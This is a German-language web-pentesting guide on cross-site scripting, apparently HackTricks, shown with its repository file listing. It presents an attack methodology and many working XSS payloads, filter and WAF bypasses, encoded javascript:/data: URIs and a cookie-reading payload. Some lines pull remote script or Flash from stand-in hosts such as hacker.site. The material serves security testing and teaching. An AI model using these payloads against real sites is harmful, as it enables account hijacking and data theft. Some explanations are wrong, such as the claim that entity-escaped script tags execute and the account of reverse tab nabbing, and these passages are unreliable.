hacktricks/pentesting-web/xss-cross-site-scripting
2024-02-10 15:36:32 +00:00
..
abusing-service-workers.md Translated to German 2024-02-10 15:36:32 +00:00
chrome-cache-to-xss.md Translated to German 2024-02-10 15:36:32 +00:00
debugging-client-side-js.md Translated to German 2024-02-10 15:36:32 +00:00
dom-clobbering.md Translated to German 2024-02-10 15:36:32 +00:00
dom-invader.md Translated to German 2024-02-10 15:36:32 +00:00
dom-xss.md Translated to German 2024-02-10 15:36:32 +00:00
iframes-in-xss-and-csp.md Translated to German 2024-02-10 15:36:32 +00:00
js-hoisting.md Translated to German 2024-02-10 15:36:32 +00:00
other-js-tricks.md Translated to German 2024-02-10 15:36:32 +00:00
pdf-injection.md Translated to German 2024-02-10 15:36:32 +00:00
README.md Translated to German 2024-02-10 15:36:32 +00:00
server-side-xss-dynamic-pdf.md Translated to German 2024-02-10 15:36:32 +00:00
shadow-dom.md Translated to German 2024-02-10 15:36:32 +00:00
sniff-leak.md Translated to German 2024-02-10 15:36:32 +00:00
some-same-origin-method-execution.md Translated to German 2024-02-10 15:36:32 +00:00
steal-info-js.md Translated to German 2024-02-10 15:36:32 +00:00
xss-in-markdown.md Translated to German 2024-02-10 15:36:32 +00:00

XSS (Cross-Site Scripting)

/

Bug-Bounty-Tipp: Registrieren Sie sich bei Intigriti, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker entwickelt wurde! Treten Sie uns noch heute unter https://go.intigriti.com/hacktricks bei und verdienen Sie Prämien von bis zu 100.000 $!

{% embed url="https://go.intigriti.com/hacktricks" %}

Methodik

  1. Überprüfen Sie, ob ein von Ihnen kontrollierter Wert (Parameter, Pfad, Header?, Cookies?) im HTML reflektiert oder von JS-Code verwendet wird.
  2. Finden Sie den Kontext, in dem er reflektiert/verwendet wird.
  3. Wenn reflektiert:
  4. Überprüfen Sie, welche Symbole Sie verwenden können, und bereiten Sie entsprechend das Payload vor:
  5. In rohem HTML:
  6. Können Sie neue HTML-Tags erstellen?
  7. Können Sie Ereignisse oder Attribute verwenden, die das javascript:-Protokoll unterstützen?
  8. Können Sie Schutzmaßnahmen umgehen?
  9. Wird der HTML-Inhalt von einem Client-seitigen JS-Engine (AngularJS, VueJS, Mavo...) interpretiert, können Sie eine Client Side Template Injection ausnutzen.
  10. Wenn Sie keine HTML-Tags erstellen können, die JS-Code ausführen, können Sie eine Dangling Markup - HTML scriptless injection ausnutzen?
  11. Innerhalb eines HTML-Tags:
  12. Können Sie in den rohen HTML-Kontext wechseln?
  13. Können Sie neue Ereignisse/Attribute erstellen, um JS-Code auszuführen?
  14. Unterstützt das Attribut, in dem Sie gefangen sind, die Ausführung von JS?
  15. Können Sie Schutzmaßnahmen umgehen?
  16. Innerhalb des JavaScript-Codes:
  17. Können Sie das <script>-Tag escapen?
  18. Können Sie den String escapen und unterschiedlichen JS-Code ausführen?
  19. Befinden sich Ihre Eingaben in Template-Literalen ``?
  20. Können Sie Schutzmaßnahmen umgehen?
  21. Ausgeführte Javascript-Funktion
  22. Sie können den Namen der auszuführenden Funktion angeben. z.B.: ?callback=alert(1)
  23. Wenn verwendet:
  24. Sie könnten eine DOM XSS ausnutzen. Achten Sie darauf, wie Ihre Eingabe kontrolliert wird und ob Ihre kontrollierte Eingabe von einer Quelle verwendet wird.

Bei der Arbeit an einem komplexen XSS kann es interessant sein zu wissen:

{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}

Reflektierte Werte

Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen von Ihnen kontrollierten Wert finden, der im Webseiten-Quellcode reflektiert wird.

  • Zwischengespeichert und reflektiert: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar des Pfads im Webseiten-Quellcode reflektiert wird, können Sie eine Reflected XSS ausnutzen.
  • Gespeichert und reflektiert: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert und jedes Mal, wenn Sie auf eine Seite zugreifen, reflektiert wird, können Sie eine Stored XSS ausnutzen.
  • Über JS zugegriffen: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert über JS zugegriffen wird, können Sie eine DOM XSS ausnutzen.

Kontexte

Wenn Sie versuchen, eine XSS auszunutzen, müssen Sie zuerst wissen, wo Ihre Eingabe reflektiert wird. Je nach Kontext können Sie auf unterschiedliche Weise beliebigen JS-Code ausführen.

Rohes HTML

Wenn Ihre Eingabe auf der rohen HTML-Seite reflektiert wird, müssen Sie missbrauchen Sie einige HTML-Tags, um JS-Code auszuführen: <img , <iframe , <svg , <script ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.
Beachten Sie auch Client Side Template Injection.

Innerhalb von Attributen von HTML-Tags

Wenn Ihre Eingabe innerhalb des Werts des Attributs eines Tags reflektiert wird, können Sie Folgendes versuchen:

  1. Um aus dem Attribut und dem Tag herauszukommen und in das rohe HTML zu gelangen, und um neue HTML-Tags zu missbrauchen: "><img [...]
  2. Wenn Sie aus dem Attribut, aber nicht aus dem Tag herauskommen können (> ist codiert oder gelöscht), können Sie, abhängig vom Tag, ein Ereignis erstellen, das JS-Code ausführt: " autofocus onfocus=alert(1) x="
  3. Wenn Sie aus dem Attribut nicht herauskommen können (" wird codiert oder gelöscht), dann können Sie, abhängig davon, in welchem Attribut Ihr Wert reflektiert wird, ob Sie den gesamten Wert oder nur einen Teil kontrollieren, es missbrauchen. Zum Beispiel, wenn Sie ein Ereignis wie onclick= kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn darauf geklickt wird. Ein weiteres interessantes Beispiel ist das Attribut href, bei dem Sie das javascript:-Protokoll verwenden können, um beliebigen Code auszuführen: href="javascript:alert(1)"
  4. Wenn Ihre Eingabe in "nicht ausnutzbaren Tags" reflektiert wird, können Sie den accesskey-Trick verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): " accesskey="x" onclick="alert(1)" x="

Innerhalb von JavaScript-Code

In diesem Fall wird Ihre Eingabe zwischen den <script> [...] </script>-Tags einer HTML-Seite, innerhalb einer .js-Datei oder innerhalb eines Attributs mit dem javascript:-Protokoll reflektiert:

  • Wenn sie zwischen den <script> [...] </script>-Tags reflektiert wird, können Sie versuchen, </script> einzufügen und aus diesem Kontext herauszukommen. Dies funktioniert, weil der Browser zuerst die HTML-Tags und dann den Inhalt analysiert und daher nicht bemerkt, dass Ihr eingefügtes </script>-Tag Teil des HTML-Codes ist.
  • Wenn sie innerhalb eines JS-Strings reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String verlassen, Ihren Code ausführen und den JS-Code rekonstruieren (wenn ein Fehler auftritt, wird er nicht ausgeführt):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Wenn sie innerhalb von Template-Literalen reflektiert wird, können Sie JS-Ausdrücke mit der Syntax ${ ... } einbetten: var greetings = `Hello, ${alert(1)}`
  • Unicode-Kodierung funktioniert, um gültigen JavaScript-Code zu schreiben:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Javascript Hoisting

Javascript Hoisting bezieht sich auf die Möglichkeit, Funktionen, Variablen oder Klassen zu deklarieren, nachdem sie verwendet wurden, sodass Sie Szenarien missbrauchen können, in denen ein XSS nicht deklarierte Variablen oder Funktionen verwendet. Weitere Informationen finden Sie auf der folgenden Seite:

{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}

Javascript-Funktion

Mehrere Webseiten haben Endpunkte, die den Namen der auszuführenden Funktion als Parameter akzeptieren. Ein häufiges Beispiel, das man oft sieht, ist etwas wie: ?callback=callbackFunc.

Eine gute Möglichkeit herauszufinden, ob etwas, das direkt vom Benutzer bereitgestellt wird, versucht wird, ausgeführt zu werden, besteht darin, den Parametervalue zu ändern (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern zu suchen, wie zum Beispiel:

Falls es anfällig ist, könnten Sie in der Lage sein, einen Alarm auszulösen, indem Sie einfach den Wert senden: ?callback=alert(1). Es ist jedoch sehr häufig, dass diese Endpunkte den Inhalt überprüfen, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen ([\w\._]).

Trotz dieser Einschränkung ist es immer noch möglich, einige Aktionen durchzuführen. Dies liegt daran, dass Sie diese gültigen Zeichen verwenden können, um auf jedes Element im DOM zuzugreifen:

Einige nützliche Funktionen dafür:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Sie können auch versuchen, Javascript-Funktionen auszulösen: obj.sales.delOrders.

In der Regel handelt es sich jedoch bei den Endpunkten, die die angegebene Funktion ausführen, um Endpunkte ohne viel interessanten DOM. Andere Seiten in derselben Herkunft haben einen interessanteren DOM, um weitere Aktionen durchzuführen.

Daher wurde zur Ausnutzung dieser Schwachstelle in einem anderen DOM die Same Origin Method Execution (SOME)-Ausnutzung entwickelt:

{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

DOM

Es gibt JS-Code, der einige vom Angreifer kontrollierte Daten wie location.href unsicher verwendet. Ein Angreifer könnte dies missbrauchen, um beliebigen JS-Code auszuführen.

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Universal XSS

Diese Art von XSS kann überall gefunden werden. Sie hängt nicht nur von der Ausnutzung eines Webanwendungsclients ab, sondern von jedem Kontext. Diese Art von beliebiger JavaScript-Ausführung kann sogar dazu missbraucht werden, RCE zu erlangen, beliebige Dateien auf Clients und Servern zu lesen und mehr.
Einige Beispiele:

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}

WAF-Bypass-Codierung von Bildern

von https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injektion in rohes HTML

Wenn Ihre Eingabe innerhalb der HTML-Seite reflektiert wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das erste, was Sie tun müssen, zu überprüfen, ob Sie < missbrauchen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses Zeichen zu reflektieren und überprüfen Sie, ob es HTML-codiert oder gelöscht wird oder ob es ohne Änderungen reflektiert wird. Nur in letzterem Fall können Sie diese Situation ausnutzen.
In solchen Fällen sollten Sie auch beachten Client Side Template Injection.
Hinweis: Ein HTML-Kommentar kann mit --> oder --!> geschlossen werden

In diesem Fall und wenn keine Blacklist/Whitelist verwendet wird, könnten Sie Payloads wie folgt verwenden:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Aber wenn Tags/Attribute-Blacklisting/Whitelisting verwendet wird, müssen Sie brute-force, welche Tags Sie erstellen können.
Sobald Sie herausgefunden haben, welche Tags erlaubt sind, müssen Sie brute-force Attribute/Events innerhalb der gefundenen gültigen Tags durchführen, um zu sehen, wie Sie den Kontext angreifen können.

Tags/Events Brute-Force

Gehen Sie zu https://portswigger.net/web-security/cross-site-scripting/cheat-sheet und klicken Sie auf Tags in die Zwischenablage kopieren. Senden Sie dann alle Tags mit Burp Intruder und überprüfen Sie, ob irgendwelche Tags vom WAF nicht als bösartig erkannt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie alle Events brute-forcen, indem Sie die gültigen Tags verwenden (auf derselben Webseite klicken Sie auf Events in die Zwischenablage kopieren und folgen Sie dem gleichen Verfahren wie zuvor).

Benutzerdefinierte Tags

Wenn Sie keinen gültigen HTML-Tag gefunden haben, können Sie versuchen, einen benutzerdefinierten Tag zu erstellen und JS-Code mit dem Attribut onfocus auszuführen. In der XSS-Anfrage müssen Sie die URL mit # beenden, um die Seite auf dieses Objekt zu fokussieren und den Code auszuführen:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist-Bypasses

Wenn eine Art von Blacklist verwendet wird, könnten Sie versuchen, sie mit einigen albernen Tricks zu umgehen:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Längenbypass (kleine XSS)

{% hint style="info" %} Weitere winzige XSS für verschiedene Umgebungen Payloads können hier und hier gefunden werden. {% endhint %}

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

Der letzte verwendet 2 Unicode-Zeichen, die sich auf 5 erweitern: telsr
Weitere solcher Zeichen finden Sie hier.
Um zu überprüfen, welche Zeichen dekomponiert sind, schauen Sie hier.

Klick-XSS - Clickjacking

Wenn Sie zur Ausnutzung der Schwachstelle den Benutzer dazu bringen müssen, auf einen Link oder ein Formular mit vorab ausgefüllten Daten zu klicken, können Sie versuchen, Clickjacking zu missbrauchen (wenn die Seite anfällig ist).

Unmöglich - Dangling Markup

Wenn Sie einfach denken, dass es unmöglich ist, ein HTML-Tag mit einem Attribut zum Ausführen von JS-Code zu erstellen, sollten Sie Dangling Markup überprüfen, da Sie die Schwachstelle ohne Ausführung von JS-Code ausnutzen könnten.

Einschleusen innerhalb eines HTML-Tags

Innerhalb des Tags / Ausbrechen aus dem Attributswert

Wenn Sie sich innerhalb eines HTML-Tags befinden, können Sie als erstes versuchen, aus dem Tag auszubrechen und einige der in vorherigen Abschnitt erwähnten Techniken zu verwenden, um JS-Code auszuführen.
Wenn Sie nicht aus dem Tag ausbrechen können, können Sie neue Attribute innerhalb des Tags erstellen, um JS-Code auszuführen. Verwenden Sie beispielsweise eine Nutzlast wie (beachten Sie, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut auszubrechen. Sie benötigen sie nicht, wenn Ihre Eingabe direkt im Tag reflektiert wird):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Stilevents

Stilevents sind eine Art von Cross-Site Scripting (XSS), bei der Angreifer bösartigen Code in den Style-Attributen von HTML-Tags einfügen, um schädliche Aktionen auf der betroffenen Webseite auszuführen. Dies kann dazu führen, dass der Code von allen Benutzern, die die Webseite besuchen, ausgeführt wird.

Ein Beispiel für einen Stilevent-Angriff ist das Einfügen von JavaScript-Code in das Style-Attribut eines HTML-Tags, wie z.B. <div style="background-image: url('javascript:alert(1)')">. Wenn ein Benutzer diese Webseite besucht und das HTML gerendert wird, wird der JavaScript-Code ausgeführt und ein Pop-up-Fenster mit der Nachricht "1" wird angezeigt.

Stilevents können verwendet werden, um verschiedene Arten von Angriffen durchzuführen, wie z.B. das Stehlen von Benutzerdaten, das Umleiten auf bösartige Webseiten oder das Ausführen von Aktionen im Namen des Benutzers.

Um Stilevent-Angriffe zu verhindern, sollten Entwickler sicherstellen, dass alle Benutzereingaben ordnungsgemäß validiert und bereinigt werden, bevor sie in den Style-Attributen von HTML-Tags verwendet werden. Es ist auch wichtig, Content Security Policies (CSP) zu implementieren, um die Ausführung von unsicherem Code zu verhindern.

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Innerhalb des Attributs

Auch wenn Sie nicht aus dem Attribut entkommen können (" wird codiert oder gelöscht), je nachdem, in welchem Attribut Ihr Wert reflektiert wird, ob Sie den gesamten Wert oder nur einen Teil kontrollieren, können Sie es missbrauchen. Zum Beispiel, wenn Sie ein Ereignis wie onclick= kontrollieren, können Sie beliebigen Code ausführen, wenn darauf geklickt wird.
Ein weiteres interessantes Beispiel ist das Attribut href, bei dem Sie das javascript:-Protokoll verwenden können, um beliebigen Code auszuführen: href="javascript:alert(1)"

Umgehung innerhalb eines Ereignisses unter Verwendung von HTML-Codierung/URL-Codierung

Die HTML-codierten Zeichen innerhalb des Werts von HTML-Tag-Attributen werden zur Laufzeit decodiert. Daher ist etwas wie das Folgende gültig (die Payload ist fett hervorgehoben): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Beachten Sie, dass jede Art von HTML-Codierung gültig ist:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Beachten Sie, dass auch die URL-Codierung funktioniert:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypassen Sie das innere Ereignis mit Unicode-Kodierung

Einige Webanwendungen filtern bestimmte Zeichen oder Wörter, um Cross-Site Scripting (XSS) Angriffe zu verhindern. Eine Möglichkeit, diese Filter zu umgehen, besteht darin, die Unicode-Kodierung zu verwenden.

Unicode ist ein internationaler Standard, der jedem Zeichen in jedem Schriftsystem eine eindeutige Nummer zuweist. Durch die Verwendung von Unicode-Kodierung können wir Zeichen in ihre entsprechenden Unicode-Entitäten umwandeln, um Filter zu umgehen.

Um das innere Ereignis zu umgehen, können Sie die Unicode-Kodierung verwenden, um die Zeichen zu maskieren. Zum Beispiel kann das Zeichen < als &#x3c; kodiert werden und das Zeichen > als &#x3e;. Dadurch wird verhindert, dass das innere Ereignis erkannt und gefiltert wird.

Hier ist ein Beispiel für die Verwendung der Unicode-Kodierung, um das innere Ereignis <script>alert('XSS')</script> zu umgehen:

&lt;script&gt;alert('XSS')&lt;/script&gt;

Indem Sie die Zeichen in ihre Unicode-Entitäten umwandeln, können Sie das innere Ereignis umgehen und potenziell schädlichen Code in die Webanwendung einschleusen. Es ist jedoch wichtig zu beachten, dass die Effektivität dieses Bypasses von der spezifischen Filterlogik der Webanwendung abhängt.

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Spezielle Protokolle innerhalb des Attributs

Hier können Sie in einigen Fällen die Protokolle javascript: oder data: verwenden, um beliebigen JS-Code auszuführen. Bei einigen ist eine Benutzerinteraktion erforderlich, bei anderen nicht.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Orte, an denen Sie diese Protokolle einfügen können

Im Allgemeinen kann das Protokoll javascript: in jedem Tag verwendet werden, das das Attribut href akzeptiert, und in den meisten Tags, die das Attribut src akzeptieren (außer <img).

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Andere Verschleierungstricks

In diesem Fall sind die HTML-Codierung und der Unicode-Codierungstrick aus dem vorherigen Abschnitt ebenfalls gültig, da Sie sich innerhalb eines Attributs befinden.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Darüber hinaus gibt es einen weiteren nützlichen Trick für diese Fälle: Selbst wenn Ihre Eingabe innerhalb von javascript:... URL-codiert wird, wird sie vor der Ausführung URL-decodiert. Wenn Sie also aus dem String mit einem einfachen Anführungszeichen entkommen müssen und feststellen, dass es URL-codiert wird, denken Sie daran, dass es egal ist, es wird zur Ausführungszeit als einfaches Anführungszeichen interpretiert.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Beachten Sie, dass es nicht funktioniert, wenn Sie sowohl URLencode + HTMLencode in beliebiger Reihenfolge verwenden, um das Payload zu kodieren, aber Sie können sie innerhalb des Payloads kombinieren.

Verwendung von Hex- und Oktalkodierung mit javascript:

Sie können die Hex- und Oktalkodierung im src-Attribut von iframe (zumindest) verwenden, um HTML-Tags zur Ausführung von JS zu deklarieren:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse Tab Nabbing

Reverse Tab Nabbing ist eine Technik, bei der ein Angreifer eine Webseite erstellt, die den Benutzer dazu verleitet, einen Link zu öffnen und dann auf eine andere Webseite zu wechseln. Wenn der Benutzer zur ursprünglichen Webseite zurückkehrt, kann der Angreifer JavaScript-Code ausführen, um sensible Informationen zu stehlen oder bösartige Aktionen durchzuführen.

Diese Technik nutzt die Tatsache aus, dass der Browser den ursprünglichen Tab als Teil des gleichen Ursprungs betrachtet, auch wenn er auf eine andere Webseite umgeleitet wurde. Dadurch kann der Angreifer den Inhalt des Tabs ändern und den Benutzer dazu bringen, bösartigen Code auszuführen, ohne dass dieser es bemerkt.

Um Reverse Tab Nabbing zu verhindern, sollten Entwickler sicherstellen, dass Links, die auf externe Webseiten verweisen, das rel="noopener"-Attribut enthalten. Dadurch wird verhindert, dass der geöffnete Tab auf die ursprüngliche Webseite zugreifen kann. Es ist auch wichtig, Benutzer über diese Art von Angriffen zu informieren und sie dazu zu ermutigen, vorsichtig zu sein, wenn sie Links öffnen und zwischen Webseiten wechseln.

<a target="_blank" rel="opener"

Wenn Sie eine beliebige URL in einem beliebigen <a href=-Tag injizieren können, das die Attribute target="_blank" und rel="opener" enthält, überprüfen Sie die folgende Seite, um dieses Verhalten auszunutzen:

{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}

Bypass bei Ereignisbehandlern

Überprüfen Sie zunächst diese Seite (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) für nützliche "on" Ereignisbehandler.
Falls es eine Blacklist gibt, die das Erstellen dieser Ereignisbehandler verhindert, können Sie die folgenden Bypasses ausprobieren:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Von hier ist es nun möglich, versteckte Eingabefelder wie folgt zu missbrauchen:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

Und in Meta-Tags:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Von hier: Sie können eine XSS-Payload innerhalb eines versteckten Attributs ausführen, vorausgesetzt, Sie können das Opfer dazu überreden, die Tastenkombination zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination ALT+SHIFT+X und unter OS X ist es CTRL+ALT+X. Sie können eine andere Tastenkombination angeben, indem Sie einen anderen Schlüssel im Zugriffsschlüsselattribut verwenden. Hier ist der Vektor:

<input type="hidden" accesskey="X" onclick="alert(1)">

Die XSS-Payload wird wie folgt aussehen: " accesskey="x" onclick="alert(1)" x="

Blacklist-Bypasses

Es wurden bereits mehrere Tricks mit verschiedenen Codierungen in diesem Abschnitt vorgestellt. Gehen Sie zurück, um zu erfahren, wo Sie Folgendes verwenden können:

  • HTML-Codierung (HTML-Tags)
  • Unicode-Codierung (kann gültiger JS-Code sein): \u0061lert(1)
  • URL-Codierung
  • Hex- und Oktal-Codierung
  • Daten-Codierung

Bypasses für HTML-Tags und -Attribute

Lesen Sie die Blacklist-Bypasses des vorherigen Abschnitts.

Bypasses für JavaScript-Code

Lesen Sie die JavaScript-Bypass-Blacklist des folgenden Abschnitts.

CSS-Gadgets

Wenn Sie eine XSS in einem sehr kleinen Teil der Webseite gefunden haben, der eine Art Interaktion erfordert (vielleicht ein kleiner Link in der Fußzeile mit einem onmouseover-Element), können Sie versuchen, den Platz zu ändern, den das Element einnimmt, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.

Sie könnten zum Beispiel einige Stilelemente zum Element hinzufügen, wie z.B.: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Wenn jedoch die WAF das style-Attribut filtert, können Sie CSS-Styling-Gadgets verwenden. Wenn Sie zum Beispiel Folgendes finden:

.test {display:block; color: blue; width: 100%}

und

#someid {top: 0; font-family: Tahoma;}

Können Sie nun unseren Link ändern und ihn in die Form bringen:

<a href="" id=someid class=test onclick=alert() a="">

Dieser Trick stammt von https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injizieren innerhalb von JavaScript-Code

In diesem Fall wird Ihr Eingabe innerhalb des JS-Codes einer .js-Datei oder zwischen <script>...</script>-Tags oder zwischen HTML-Ereignissen, die JS-Code ausführen können, oder zwischen Attributen, die das javascript:-Protokoll akzeptieren, reflektiert.

Escapen des <script>-Tags

Wenn Ihr Code innerhalb von <script> [...] var input = 'reflektierte Daten' [...] </script> eingefügt wird, können Sie das <script>-Tag einfach schließen escapen:

</script><img src=1 onerror=alert(document.domain)>

Beachten Sie, dass wir in diesem Beispiel nicht einmal das einfache Anführungszeichen geschlossen haben. Dies liegt daran, dass das HTML-Parsing zuerst vom Browser durchgeführt wird, um Seitenlemente zu identifizieren, einschließlich der Skriptblöcke. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.

Innerhalb des JS-Codes

